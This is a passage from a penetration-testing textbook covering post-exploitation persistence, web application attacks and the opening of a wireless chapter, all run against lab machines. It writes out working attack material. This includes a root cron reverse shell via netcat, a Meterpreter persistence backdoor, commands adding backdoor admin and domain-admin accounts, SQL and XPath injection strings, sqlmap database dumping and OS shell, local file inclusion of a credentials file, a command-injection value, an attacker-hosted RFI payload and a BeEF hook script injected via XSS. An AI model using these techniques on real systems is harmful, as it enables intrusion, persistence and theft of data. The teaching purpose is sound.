STATE SERVICE
VERSION
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
446/tcp closed ddm-rdb
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Listing 13-32: Running Nmap through ProxyChains

Listing 13-32 shows Nmap being run against the Windows XP host through the pivot with ProxyChains. The option -Pn tells Nmap not to try to ping through the proxy. We start with a simple TCP connect scan (-sT) and then run a version scan (-sV). For the sake of simplicity, I’ve limited the ports to 445 and 446 with the -p option. We see that the connection is OK on port 445 u but denied on port 446 v. This makes sense because the SMB server is running on port 445, but nothing is running on port 446. (If any of this is unfamiliar, see “Port Scanning with Nmap” on page 125.)
This is just one way to run tools external to Metasploit through a pivot.
While doing so does slow things down a bit, it can be quite useful to have access to other tools in Kali.
Note

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Not all vulnerabilities will be exploitable through a pivot. In general, it depends on how the vulnerable protocols work. Another technique to look into is SSH tunneling.
See my blog at http://www.bulbsecurity.com/ for more information.

Persistence
A great thing about our Meterpreter sessions is also a bad thing. Because the host process resides entirely in memory, if it dies, our Meterpreter session dies as well, and if the system restarts we lose our session. If we lose network access to the target, our session may die as well.
Rather than re-exploiting the same vulnerability or resending socialengineering attacks, it would be ideal if we had a way to regain access in the future. Persistence methods can be as simple as adding a user to a system or as advanced as kernel-level rootkit that hides itself even from the Windows
API making it virtually undetectable. In this section we’ll look at a few simple ways to gain persistence on a target system to give you a good starting point for your pentests.

Adding a User
Perhaps the simplest way to gain persistence is to add a new user. Being able to log in to the system directly via SSH, RDP, and so on makes it easy to access a system in the future. (As with all other changes you make on your targets, remember to delete any added user accounts before finishing the pentest.)
On a Windows system, use net user username password /add to add a new user, as shown here.
C:\Documents and Settings\georgia\Desktop> net user james password /add net user james password /add
The command completed successfully.

We should also add our new user to the relevant groups with the command net localgroup group username /add. For example, if we want to log in via remote desktop, we should add the user to the Remote Desktop Users group. The Administrators group is also a good group to add our user to as shown here.
C:\Documents and Settings\georgia\Desktop> net localgroup Administrators james /add net localgroup Administrators james /add
The command completed successfully.

If your client has a Windows domain, you can add users to the domain and add them to domain groups (if you have sufficient privileges) by tacking on /domain at the end of a command. For example, if you are able to steal a domain administrator’s token, you can use the following commands to add a domain administrator account, giving you full control of the entire domain. C:\Documents and Settings\georgia\Desktop> net user georgia2 password /add /domain
C:\Documents and Settings\georgia\Desktop> net group "Domain Admins" georgia2 /add /domain

On the Linux target, we can use adduser to add a user account. Ideally we should also add our new user to the sudoers group so we have root privileges.

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Metasploit Persistence
The Meterpreter script persistence automates the creation of a Windows backdoor that will automatically connect back to a Metasploit listener at startup, login, and so on, based on the options we use when creating it. The options for the persistence script are shown in Listing 13-33. meterpreter > run persistence -h
Meterpreter Script for creating a persistent backdoor on a target host.
OPTIONS:
-A
-L
-P
-S
-T
-U
-X
-h
-i
-p
-r

<opt>
<opt>
<opt>

<opt>
<opt>
<opt>

Automatically start a matching multi/handler to connect to the agent
Location in target host where to write payload to, if none %TEMP% will be used.
Payload to use, default is windows/meterpreter/reverse_tcp.
Automatically start the agent on boot as a service (with SYSTEM privileges)
Alternate executable template to use
Automatically start the agent when the User logs on
Automatically start the agent when the system boots
This help menu
The interval in seconds between each connection attempt
The port on the remote host where Metasploit is listening
The IP of the system running Metasploit listening for the connect back

Listing 13-33: Meterpreter persistence script

As you can see we have a lot of customization options for our persistent payload. We can have the persistence agent start at boot or when the user logs in. We can set an interval between attempts to connect to the handler.
We can change where the agent is written on the target system. We can also specify the remote host and port for the agent to connect back to. We can even have Metasploit automatically set up a handler to catch the incoming connection. In the process of setting up persistence, Metasploit has to write the persistence agent to the disk, so Meterpreter is no longer completely residing in memory at this point. When the persistence agent runs at startup (-X), a Visual Basic script is uploaded to the %TEMP% folder, and a registry entry is added to the list of programs to run at startup. When the persistence agent runs upon login (-U), the process is similar, but the registry entry is set to run at login. When the persistence agent runs as a service
(-S), a Windows system service is created that will call the Visual Basic script from %TEMP%.
Let’s run the persistence script, as shown in Listing 13-34, telling the agent to connect back to our Kali machine when the user logs in. meterpreter > run persistence -r 192.168.20.9 -p 2345 -U
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/BOOKXP_20150814.1154/
BOOKXP_20150814.1154.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345
[*] Persistent agent script is 614853 bytes long
[+] Persistent Script written to C:\WINDOWS\TEMP\eTuUwezJblFHz.vbs
[*] Executing script C:\WINDOWS\TEMP\eTuUwezJblFHz.vbs

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[+] Agent executed with PID 840
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\BJkGfQLhXD
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\BJkGfQLhXD
Listing 13-34: Running the persistence script

After running the script, place the Meterpreter session in the background with the Meterpreter command background, and set up a handler to catch the persistence agent. Now restart the Windows XP target. When it restarts, log in as georgia, and you should receive another Meterpreter session. note

If it doesn’t work the first time, try restarting and logging in again.

Creating a Linux cron Job
On both Windows and Linux systems, we can automatically start tasks at a given time. For example, we can set up a cron job to automatically run a
Metasploit payload or even just use Netcat to connect back to us.
Open /etc/crontab on your Linux target. The following line will run the command nc 192.168.20.9 12345 -e /bin/bash every ten minutes of every hour of every day of every month—basically every ten minutes. The command will be run as root. Add this line to the end of the /etc/crontab file. (For help, see
“Automating Tasks with cron Jobs” on page 72.)
*/10 * * * * root nc 192.168.20.9 12345 -e /bin/bash

Now restart the cron service by entering service cron restart. Set up a
Netcat listener on port 12345 on your Kali machine, and at the next tenminute mark, the cron job should run, and you should receive a root shell at your Netcat listener.

Summary
In this chapter we’ve covered just a few post-exploitation techniques, barely skimming the surface of the wealth of interesting tools and techniques available. We looked at some methods for escalating our privileges on an exploited system. We also looked at methods of gathering local information. We studied methods of turning access to one system into access to many, including pivoting from one network to another through an open session. Finally, we looked at a couple of methods for making our access permanent. Post Exploitation

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14

W e b App l i c a t i o n T e s t i n g

Though automated scanners are great at finding known vulnerabilities in web applications, many clients build custom web applications. Sure, commercial products can automate attacks against user input fields in custom web applications, but nothing can replace a good penetration tester with a proxy when it comes to finding security issues in these applications.
Like all software, web applications may have issues when input is not properly sanitized. For example, when an application pulls data from a database based on certain user input, the application may expect specific input such as a username and password. If, instead, the user enters special input to create additional database queries, he or she may be able to steal data from the database, bypass authentication, or even execute commands on the underlying system.

In this chapter we’ll look at finding some common vulnerabilities in web applications using the example web application installed on the Windows 7 target: a simple bookstore with several security issues frequently found in web applications. (See “Installing Additional Software” on page 52 for installation instructions.)

Using Burp Proxy
We can use a proxy to capture requests and responses between our browser and the web application so we can see exactly what data is being transmitted.
Kali Linux comes with the free version of Burp Suite, a testing platform for web applications that includes a proxy feature. Burp includes other useful components, such as Burp Spider, which can crawl through web application content and functionality, and Burp Repeater, which allows you to manipulate and resend requests to the server. For now, we’ll focus on the Burp
Proxy tab.
To start Burp Suite in Kali Linux, go to Applications at the top left of the Kali GUI, and then click Kali LinuxWeb ApplicationsWeb
Application Fuzzersburpsuite, as shown in Figure 14-1.

Figure 14-1: Starting Burp Suite in Kali

Click the Proxy tab, as shown in Figure 14-2. By default, the Intercept is on button should be selected so that Burp Suite intercepts and traps any outgoing requests from a web browser configured to use Burp as a proxy for web traffic. This setting will allow us to see and even modify the details of web requests before they are sent to the server.
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Figure 14-2: Burp Proxy interface

Now we need to tell our browser in Kali Linux to proxy web traffic through Burp Suite.
1. Open the Iceweasel browser, go to Edit4Preferences4Advanced, and select the Network tab.
2. Click Settings to the right of Connection.
3. In the Connection Settings dialog, shown in Figure 14-3, select Manual proxy configuration, and enter the IP address 127.0.0.1 and port 8080.
This tells Iceweasel to proxy traffic through the localhost on port 8080, the default port for Burp Proxy.

Figure 14-3: Setting a proxy in Iceweasel
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To ensure that Iceweasel will proxy all our traffic through Burp Suite, browse to the URL bookservice on your Windows 7 target: http://192.168.20.12/ bookservice. The connection should appear to hang in the browser, and the browser and Burp Suite should light up as the HTTP GET request for the main page of the bookservice site is captured by Burp Proxy, as shown in
Figure 14-4.

Figure 14-4: Captured HTTP GET request

We can see the details of the HTTP GET request asking the server for the bookservice web page.
As we will see later, we can make changes to the request before sending it on to the server, but for now, let’s just go ahead and forward the request
(and any subsequent ones) by clicking the Forward button. Returning to the browser, we see the server has sent us the main page of the bookservice site, as shown in Figure 14-5.

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Figure 14-5: Bookservice site

Next let’s try signing up for an account (Figure 14-6). Click Login at the top left of the page, and then forward the request to the server from the proxy. Do the same to get to the Sign Up page by clicking New User and forwarding the request to the server.

Figure 14-6: Signing up for a new account

Enter a username, password, and email address, then submit the request by clicking Go. The request should be captured in Burp Proxy, as shown in
Figure 14-7.

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Figure 14-7: Captured request

In addition to looking at the raw request, which is a bit unfriendly to read, you can click the Params tab at the top of the request window in Burp
Suite to display the request parameters in a more readable format, as shown in Figure 14-8.

Figure 14-8: Request parameters

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For example, the new display shows the User field georgia, Pass field password, and Email field georgia@bulbsecurity.com.
You can change these fields directly in the proxy. For example, if you change georgia’s password to password1 before forwarding the request to the server, the server will set the password for user georgia to password1, because the server never saw the original request from the browser requesting the password password.
The proxy allows you to see the details of any request to the server. If at any point you don’t need to proxy traffic, click Intercept is on to toggle it to Intercept is off and allow traffic to pass through to the server without user interaction. Switch the button back on if you want to catch a particular request. SQL Injection
Many web applications store data in a backend, SQL-based database. For example, we encountered a SQL database during our network penetration test, when we found an open MySQL database through phpMyAdmin in the
XAMPP install on the Windows XP target on page 186. We then used a
SQL query to write a simple PHP command shell to the web server.
We typically won’t have direct access to run SQL queries on a site’s backend database from a web application. However, if a developer fails to sanitize user input when interacting with the database, you may find that you can perform a SQL injection attack to manipulate the queries sent to it.
Successful SQL injection attacks can read data from the database, modify data, shut down or destroy the database, and, in some cases, even run commands on the underlying operating system (which can be especially powerful because database servers often run as privileged users).
A natural place to look for SQL injection issues is in the login page.
Many web applications store user data in a database, so we can use a SQL query to pull out the correct user, based on the username and password provided by the user. When developers don’t sanitize user input, we can build SQL queries to attack the database. An example of an injectable SQL statement that could be leveraged by an attacker is shown here:
SELECT id FROM users WHERE

username='$username' AND password='$password';

What if an attacker supplied a username ' OR '1'='1 and the user’s password was ' OR '1'='1? The SQL statement turns into:
SELECT username FROM users WHERE username='' or '1'='1' AND password='' or '1'='1'

Because the OR '1'='1' will always be true, this SELECT statement will now return the first username in the user table, regardless of the username and password. Web Application Testing

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As we’ll see in “XPath Injection” on page 323, our application uses
Xpath, a query language for XML documents, which authenticates against an XML file rather than a database, though the injection process is similar.
However, our application does use a SQL database to store records of the books available in the store, and when we select a book on the main page, its details are pulled from an MS SQL backend database. For example, click the More Details link for the first book on the site, Don’t Make Me
Think. The URL requested is: http://192.168.20.12/bookservice/bookdetail.aspx?id=1 The book’s details are filled in based on the results returned from the database query for the record with ID 1.

Testing for SQL Injection Vulnerabilities
A typical first test for SQL injection vulnerabilities is to use a single quotation mark to close the SQL query. If a SQL injection vulnerability is present, the addition of that quotation mark should cause the application to throw a SQL error, because the query will already be closed as part of the underlying code and the extra single quote will cause the SQL syntax to be incorrect.
That error will tell us that we can inject SQL queries to the site’s database using the id parameter.
Let’s try this out by sending the query again with the id parameter to 1', as shown here. http://192.168.20.12/bookservice/bookdetail.aspx?id=1' As expected, the application serves an error page indicating that our
SQL syntax is incorrect, as shown in Figure 14-9.

Figure 14-9: The application identifies a SQL error.

In particular, note the message “Unclosed quotation mark after the character string” in our SQL query.

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Note

Not all applications that are vulnerable to SQL injection will be so verbose with their error messages. In fact, there is a whole class of blind SQL injection vulnerabilities, where error messages detailing the injection are not shown, even though the injection flaw is still present.

Exploiting SQL Injection Vulnerabilities
Now that we know a SQL injection vulnerability is present in this site, we can exploit it to run additional queries on the database that the developer never intended. For example, we can find out the name of the first database with the following query: http://192.168.20.12/bookservice/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--

The query throws an error message, Conversion failed when converting the nvarchar value ‘BookApp’ to data type int, which tells us that the name of the first database is BookApp, as shown in Figure 14-10.

Figure 14-10: Error message showing the database name

Using SQLMap
We can also use tools to automatically generate SQL queries to perform various tasks on a site using SQL injection. All we need is an injection point; the tool does the rest. For example, Listing 14-1 shows how when we give a tool in Kali SQLMap a potentially injectable URL, SQLMap tests for SQL injection vulnerabilities and performs injection queries. root@kali:~# sqlmap -uu "http://192.168.20.12/bookservice/bookdetail.aspx?id=2" --dumpv
--snip-[21:18:10] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase stacked queries' injectable
--snip-Database: BookApp
Table: dbo.BOOKMASTER
[9 entries]
+--------+---------------+-------+-------+-------------------------------------

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| BOOKID | ISBN
| PRICE | PAGES | PUBNAME | BOOKNAME
| FILENAME | AUTHNAME | DESCRIPTION

|
+--------+---------------+-------+-------+------------------------------------| 1
| 9780470412343 | 11.33 | 140
| Que; 1st edition (October 23, 2000) | Do not Make
Me Think A Common Sense Approach to Web Usability
|
4189W8B2NXL.jpg | Steve Krug and Roger Black | All of the tips, techniques, and examples presented revolve around users being able to surf merrily through a well-designed site with minimal cognitive strain. Readers will quickly come to agree with many of the books assumptions, such as We do not read pages--we scan them and We do not figure out how things work--we muddle through. Coming to grips with such hard facts sets the stage for Web design that then produces topnotch sites. |
--snip-|
Listing 14-1: Dumping the database with SQLMap

Specify the URL to test with -u option u. The --dump option v dumps the contents of the database—in this case, details of the books.
We can also use SQLMap to try to get command-shell access on the underlying system. MS SQL databases contain a stored procedure called xp_cmdshell, which will give us command-shell access, but it’s often disabled.
Luckily, SQLMap will try to reenable it. Listing 14-2 shows how we can get a command shell on the site’s underlying Windows 7 target system using
SQLMap.
root@kali:~# sqlmap -u "http://192.168.20.12/bookservice/bookdetail.aspx?id=2" --os-shell
--snip-xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n] Y
--snip-os-shell> whoami do you want to retrieve the command standard output? [Y/n/a] Y command standard output:
'nt authority\system'
Listing 14-2: xp_cmdshell access through SQL injection

As you can see in Listing 14-2, we receive a shell running as System without having to guess credentials for the database.
Note

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The MS SQL database is not listening on a port anyway, so we can’t access it directly.
Unlike our Windows XP system in Chapter 6, this web server lacks phpMyAdmin, so we have no other way to access the database. A SQL injection issue in the hosted website gives us full system access.

XPath Injection
As mentioned previously, this bookservice application uses XML authentication, in which the XML is queried using Xpath. We can use XPath injection to attack XML. Though its syntax differs from SQL, the injection process is similar.
For example, try entering single quotes (') for both the username and password fields at the login page. You should receive an error like the one shown in Figure 14-11.

Figure 14-11: XML error at login

As you can see from the error message shown in Figure 14-11, we again have an injection issue because we have an error in our syntax. Because we are at a login page, a typical injection strategy for Xpath would be to attempt to bypass authentication and gain access to the authenticated portion of the application by attacking the Xpath query logic.
For example, as shown in the error details, the login query grabs the username and password provided, and then compares the values provided against credentials in an XML file. Can we create a query to bypass the need for valid credentials? Enter a set of dummy credentials at login, and capture the request with Burp Proxy, as shown in Figure 14-12.
Now change the txtUser and txtPass parameters in the captured request to this value.
' or '1'='1

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Figure 14-12: Captured login request

This tells the login Xpath query to find the user account where the username and password field is blank or 1=1. Because 1=1 always evaluates as true, the logic of this query says to return the user where the username is blank or present—likewise with the password. Thus using this injection method, we can get the application to log us in as the first user in the authentication file. And, as shown in Figure 14-13, we are logged in as the user Mike.

Figure 14-13: Authentication bypass through Xpath injection

Local File Inclusion
Another vulnerability commonly found in web applications is local file inclusion, which is the ability to read files from the application or the rest of the filesystem that we should not have access to through the web app. We saw an example of this in Chapter 8 where the Zervit web server on the Windows XP target allowed us to download files from the target, such as a backup of the
SAM and SYSTEM hives.
Our bookservice app also suffers from local file inclusion. As user Mike, go to Profile4View Newsletters. Click the first newsletter in the list to view the contents of the file, as shown in Figure 14-14.

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Figure 14-14: Viewing a newsletter

Now resend the request, and capture it with Burp Proxy, as shown in
Figure 14-15.

Figure 14-15: Captured newsletter request

Click the Params tab, and note the parameter c:\inetpub\wwwroot\Book\
NewsLetter\Mike@Mike.com\Web Hacking Review.txt. The path c:\inetpub\wwwroot\
Book\NewsLetter\Mike suggests that the newsletter functionality is pulling the newsletters from the local filesystem by their absolute path. It also looks like there’s a folder called Mike@Mike.com in the Newsletter folder. Perhaps each user subscribed to the newsletters has such as folder.
It also seems as if our application is actually at the path c:\inetpub\ wwwroot\Book, as noted in the newsletter requests, instead of c:\inetpub\ wwwroot\bookservice as we might expect from the URL. We note this because it may come in handy later on.

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What if we change the filename parameter to another file in the web application? Can we gain access to the app’s full source code? For example, change the file to the following, and forward the request to the server.
C:\inetpub\wwwroot\Book\Search.aspx

As you can see, the source code of the Search.aspx page is displayed in the Newsletter box, as shown in Figure 14-16.
Having access to the full server-side source code of the web application allows us to do a complete source code review to look for issues.
But perhaps we can access even more sensitive data. For example, we know that the usernames and passwords are stored in an XML file. Perhaps we can request this file. We
Figure 14-16: Local file inclusion vulnerability don’t know its name, but a few guesses for common filenames in XML authentication scenarios will lead us to the filename AuthInfo.xml. Capture the newsletter request in Burp Proxy, and change the requested file to the one shown here.
C:\inetpub\wwwroot\Book\AuthInfo.xml

As you can see in Figure
14-17, we now have access to the usernames and passwords in plaintext. Now we know why our previous Xpath injection logged us in as the user Mike:
Mike is the first user in the file.
This is a prime example of when using a proxy comes in handy. A user with just a browser would have been limited to only the files he or she could click on, namely the newsletters presented. On the other hand, with the proxy we are able to see the request ask for a specific file from the

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Figure 14-17: Authentication info

filesystem. By changing the filename manually in the request using Burp
Proxy, we were able to see other sensitive files. No doubt the developer did not consider the possibility that the user could just ask for any file and, thus, did not think to limit the files that could be accessed through the user’s newsletters.
Worse still, we aren’t limited to files from the web application. We can load any file from the filesystem that the IIS_USER has read access to. For example, if you create a file called secret.txt on the C: drive, you can load it through the newsletters functionality. Just substitute the file you want in the request in Burp Suite. If we can find a way to upload files to a web application, we can even use LFI vulnerability to execute malicious code on the webserver. Remote File Inclusion
Remote file inclusion (RFI) vulnerabilities allow attackers to load and execute malicious scripts, hosted elsewhere, on a vulnerable server. In
Chapter 8, we used the open phpMyAdmin interface in XAMPP to write a simple PHP shell and finally a PHP version of Meterpreter to the web server.
Though we are not uploading a file to the server here, the attack is similar.
If we can trick the vulnerable server into executing a remote script, we can run commands on the underlying system.
Our site does not have a remote file inclusion vulnerability, but simple vulnerable PHP code is shown here as an illustration.
<?php
include($_GET[‘file’]);
?>

An attacker can host a malicious PHP script (such as the meterpreter.php script we used in Chapter 8) on their webserver and request the page with the file parameter set to http://<attacker_ip>/meterpreter.php. The RFI vulnerability would cause meterpreter.php to be executed by the webserver even though it is hosted elsewhere. Of course, our example application is ASP.net not PHP, but
Msfvenom can create payloads in ASPX format for these sorts of apps.

Command Execution
As noted earlier, the Newsletters folder contains a folder called Mike@Mike
.com. Logically, this suggests that the site may contain similar folders with the email addresses of all users signed up to receive newsletters. Some part of the application must be creating these folders as users register or sign up for the newsletter. The application’s code is probably running a command to create the folders on the filesystem. Perhaps, again through lack of input validation, we can run additional commands that the developer never intended us to run.

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As shown in Figure 14-18, the bottom right of the web app contains a form to sign up for newsletters. We suspect that when we enter an email address, a folder is created for that email address in the newsletters folder.
We guess that the email address input is fed to a system command to create a directory in the newsletters folder. If the developer does not properly sanitize user input, we may be able to run additional commands using the ampersand (&) symbol.
Figure 14-18: Newsletter
We’ll execute a command and send
Signup
its output to a file in our application’s
C:\inetpub\wwwroot\Book\ directory, then access the files directly to see the command’s output. Run the ipconfig command on the Windows 7 target as shown here to pipe the output from a system command such as ipconfig to the file test.txt in the Book directory. georgia@bulbsecurity.com & ipconfig > C:\inetpub\wwwroot\Book\test.txt

When we browse to http://192.168.20.12/bookservice/test.txt, we see the output of our ipconfig command, as shown in Figure 14-19.

Figure 14-19: Command execution output

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We will be limited to the privileges of the Internet Information Services
(IIS) user. Unfortunately for us, the Microsoft IIS application on Windows 7 systems runs as a separate account without the full privileges of a system user: a better security scenario for the developer but a more challenging one for us.
Though we don’t have full access, we will be able to gather a lot of information about the system with the access we do have. For example, we can use the dir command to find interesting files, or the command netsh advfirewall firewall show rule name=all to see the rules in the Windows firewall. Since we are on a Windows system we cannot use wget from the command line to pull down an interactive shell, but we can use various other methods to do so. In Chapter 8 we used TFTP to transfer a shell from our
Kali system to the Windows XP target. Windows 7 does not have a TFTP client installed by default, but in Windows 7 we do have a powerful scripting language called Powershell, which we can use for tasks such as downloading and executing a file.
Note

A study of Powershell is outside of the scope of this book, but it is very helpful for post exploitation on the latest Windows operating systems. A good reference can be found here: http://www.darkoperator.com/powershellbasics/.

Cross-Site Scripting
Perhaps the most common and most debated web application security vulnerability is cross-site scripting (XSS). When such vulnerabilities are present, attackers can inject malicious scripts into an otherwise innocuous site to be executed in the user’s browser.
XSS attacks are typically broken into two categories: stored and reflected.
Stored XSS attacks are stored on the server and executed whenever a user visits the page where the script is stored. User forums, reviews, and other places where users can save input displayed to other users are ideal places for these sorts of attacks. Reflective XSS attacks are not stored on the server but are created by sending requests with the XSS attack itself. The attacks occur when user input is included in the server’s response, for example, in error messages or search results.
Reflected XSS attacks rely on a user sending a request with the XSS attack included, so there will likely be some sort of social-engineering component to the attack as well. In fact, having XSS might actually increase the success of a social-engineering attack, because you can craft a URL that is part of a real website—a website the user knows and trusts—and use the
XSS to, for instance, redirect the user to a malicious page. Like the other attacks discussed in this chapter, XSS attacks rely on a lack of user input sanitation, which allows us to create and run a malicious script.

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Checking for a Reflected XSS Vulnerability
We should check any user input for XSS vulnerabilities. We’ll find that our application has a reflected XSS vulnerability in the search functionality. Try searching for the title xss in the Books Search box, as shown in Figure 14-20.
As shown in Figure 14-21, the search results page prints the original user input as part of the results. If the user input is not properly sanitized, this may be where we can use XSS.

Figure 14-20: Search function Figure 14-21: Search results page

The typical first XSS test to try to run is a JavaScript alert box. The following code will attempt to put up a JavaScript alert with the text xss. If user input is not properly filtered, the script will be executed as part of the search results page.
<script>alert('xss');</script>

In some cases, the user’s browser will automatically block obvious XSS attacks such as this one, and Iceweasel is one such browser. Switch over to your Windows 7 target with Internet Explorer.
As shown in Figure 14-22, the pop-up alert script executes. Having determined that reflective XSS is present, we could try to leverage it to attack users.
Common attacks include stealing session cookies to send to an attacker-controlled site or embedding a frame (a way of splitting an HTML page into different segments) to prompt the user for login credentials. A user may think that the frame is part of the original page and enter his or her credentials, which are then sent offsite to the attacker.

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Figure 14-22: XSS pop-up Leveraging XSS with the Browser Exploitation Framework
XSS issues tend to be overlooked. How much damage can an alert box that says “XSS” do anyway? A good tool for leveraging XSS issues and uncovering their true attack potential is the Browser Exploitation Framework (BeEF).
Using BeEF, we can “hook” a browser by tricking the user into browsing to our BeEF server, or better yet using the BeEF JavaScript hook as a payload in the presence of an XSS vulnerability like the one discussed previously.
Now change directories to /usr/share/beef-xss, and run ./beef, as shown in Listing 14-3. This will start the BeEF server, including the web interface and the attack hook. root@kali:~# cd /usr/share/beef-xss/ root@kali:/usr/share/beef-xss# ./beef
[11:53:26][*] Bind socket [imapeudora1] listening on [0.0.0.0:2000].
[11:53:26][*] Browser Exploitation Framework (BeEF) 0.4.4.5-alpha
--snip-[11:53:27][+] running on network interface: 192.168.20.9
[11:53:27]
|
Hook URL: http://192.168.20.9:3000/hook.js
[11:53:27]
|_ UI URL: http://192.168.20.9:3000/ui/panel [11:53:27][*] RESTful API key: 1c3e8f2c8edd075d09156ee0080fa540a707facf
[11:53:27][*] HTTP Proxy: http://127.0.0.1:6789
[11:53:27][*] BeEF server started (press control+c to stop)
Listing 14-3: Starting BeEF

Now in Kali, browse to http://192.168.20.9:3000/ui/panel to access the
BeEF web interface. You should be presented with a login page, like the one shown in Figure 14-23.

Figure 14-23: BeEF login page

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331

The default credentials for BeEF are beef:beef. After you enter them in the login dialog, you are shown the web interface (Figure 14-24).

Figure 14-24: BeEF web interface

Currently no browsers are hooked in BeEF, so we need to trick someone into loading and running BeEF’s malicious hook.js script. Let’s return to our XSS vulnerability in the Book Search box. This time, instead of using an alert dialog, let’s leverage the issue to load BeEF’s hook.js in the target browser. From the Windows 7 Internet Explorer browser, enter "<script src=http://192.168.20.9:3000/hook.js></script>" into the Book Search box, and click Go. This time there will be no alert box or other indication to the user suggesting that anything is amiss, but if you turn back to BeEF, you should see the IP address of the Windows 7 box in the Online Browsers list at the left of the screen, as shown in Figure 14-25.
In the details pane, with the IP address of Windows 7 selected in BeEF, you can see details about the hooked browser as well as the underlying system, such as versions and installed software. At the top of the pane are additional tabs, such as Logs and Commands. Click Commands to see additional BeEF modules you can run against the hooked browser.

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Figure 14-25: A hooked browser

For example, as shown in Figure 14-26, navigate to Browser4Hooked
Domain4 Create Alert Dialog. At the right of the screen, you have the option to change the alert text. When you finish, click Execute at the bottom right.

Figure 14-26: Running a BeEF module
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Turn back to your Windows 7 browser. You should see the pop-up dialog, shown in Figure 14-27.

Figure 14-27: Causing an alert in the hooked browser

Another interesting BeEF command allows you to steal data from the
Windows clipboard. On the Windows 7 system, copy some text to the clipboard. Now in BeEF, navigate in the Commands Module Tree to Host4 Get
Clipboard. The text on the clipboard is displayed in the Command Results
Pane on the right, as shown in Figure 14-28.

Figure 14-28: Stealing clipboard information

In this section we have looked at only two simple examples of leveraging a hooked browser with BeEF. There is plenty more we can do. For example, we can use the target browser as a pivot to start gathering information about the local network with ping sweeps or even port scans. You
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can even integrate BeEF with Metasploit. On your pentests, you can use
BeEF as part of social-engineering attacks. If you can find an XSS in your client’s web server, you can improve the results of your campaign by directing users not to a attacker-owned site but rather to the company website they trust.

Cross-Site Request Forgery
Cross-site scripting exploits the trust a user has in a website, whereas a similar vulnerability class called cross-site request forgery (CSRF) exploits a website’s trust in the user’s browser. Consider this scenario: A user is logged in to a banking website and has an active session cookie. Naturally, the user is also browsing to other websites in other tabs. The user opens a malicious website that contains a frame or image tag that triggers a HTTP request to the banking website with the correct parameters to transfer funds to another account (presumably the attacker’s account). The banking website, of course, checks to see that the user is logged in. Finding that the user’s browser has a currently active session, the banking website executes the command in the request, and the attacker steals the user’s money. The user, of course, never initiated the transaction—he just had the misfortune of browsing to a malicious website.

Web Application Scanning with w3af
It is difficult to automate testing with a tool, particularly for custom applications. Nothing compares to a skilled web application tester with a proxy.
That said, several commercial web application scanners and some free and open source scanners can automate tasks such as crawling the website and searching for known security issues.
One open source web application scanner is the Web Application Attack and Audit Framework (w3af). w3af is made up of plugins that perform different web application–testing tasks, such as looking for URLs and parameters to test and testing interesting parameters for SQL injection vulnerabilities.
Now start w3af, as shown here. root@kali:~# w3af

The w3af GUI will be launched and should look similar to Figure 14-29.
On the left of the screen are the scan configuration profiles. By default you are in an empty profile, which allows you to fully customize which w3af plugins are run against your target. You can also use several preconfigured profiles. For example, the OWASP_Top10 profile will crawl the app with plugins from the discovery section as well as run plugins from the audit section that look for vulnerabilities from the Open Web Application
Security Project (OWASP)’s top ten vulnerability categories. Enter the URL to be scanned, as shown in Figure 14-29, and click Start at the right of the window. Web Application Testing

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Figure 14-29: Using w3af

As the scan runs, details will be shown in the Logs tab, and issues discovered will be added to the Results tab (Figure 14-30).

Figure 14-30: w3af results

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w3af finds the SQL injection vulnerability that we exploited at the start of this chapter as well as some minor issues that are worth adding to your pentest report. You can try other w3af profiles or create your own, customizing which plugins are run against the app. w3af can even do a credentialed scan, in which it has an active logged-in session with the app, giving it access to additional functionality to search for issues.

Summary
In this chapter we took a brief look at examples of common web application vulnerabilities in a sample application built without the input sanitation needed to mitigate many attacks. Our bookservice app has a SQL injection vulnerability in its books details page. We were able to extract data from the database and even get a system command shell.
We found a similar injection vulnerability in the XML-based login functionality. We were able to use a crafted query to bypass authentication and log in as the first user stored in the AuthInfo.xml file. We were also able to use the newsletter page to see the source of arbitrary pages in the web application including the authentication information—the result of a lack of access control on the pages as well as a local file inclusion issue. We were able to run commands on the system by chaining them with the email address to sign up for newsletters, and we were able to write the output of commands to a file and then access them through the browser. We found an example of reflective XSS in the search functionality. We used BeEF to leverage this XSS issue and gain control of a target browser, giving us a foothold in the system. Finally, we looked briefly at an open source web vulnerability scanner, w3af.
Web application testing deserves much more discussion than we can devote to it in this book. All the issues covered in this chapter are discussed in detail on OWASP’s website https://www.owasp.org/index.php/Main_Page/, which is a good starting point for continuing your study of web application security. OWASP also publishes a vulnerable app, Webgoat, which uses exercises to give users hands-on experience exploiting web application issues like the ones in this chapter, as well as others. Working through Webgoat is a great next step if you want to learn more about testing web apps.
Another thing to note is that our application is an ASP.net application running on Windows. In your pentesting career, you will encounter other kinds of applications, such as Apache/PHP/MySQL applications running on Linux, or a Java web application. You may also find yourself testing applications that use APIs such as REST and SOAP to transfer data. Though the underlying issues caused by lack of input sanitation can occur on any platform, the particular coding mistakes and the syntax to exploit them may vary. Be sure to become familiar with different kinds of applications as you continue to study web application security.

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15

W ire le ss At tacks

In this chapter we’ll take a brief look at wireless security. So far we’ve looked at several ways to breach the security perimeter. But web application security, firewalls, security-awareness training, and so on can do nothing to protect an internal network if there’s an attacker sitting on a bench in front of the target organization’s building and the organization provides wireless access with weak encryption to the internal network. Setting Up
For the examples in this chapter, I’ll be using a Linksys WRT54G2 wireless router, but any router that supports WEP and WPA2 encryption will work. By default, my Linksys router has a web administration interface at http://192.168.20.1, as shown in Figure 15-1. The default username and

password for the router is admin:admin. The default credentials vary from device to device, but it’s common on penetration tests to find routing equipment that still uses the default credentials—a failing that could allow attackers to gain administrative control over the routers.
Note

We won’t cover attacking networking devices in this book, but take a look at the administrative interfaces on any networking equipment you have. Attacker access to enterprise network devices can do significant damage and should not be overlooked.

Figure 15-1: Linksys WRT54G2 web interface

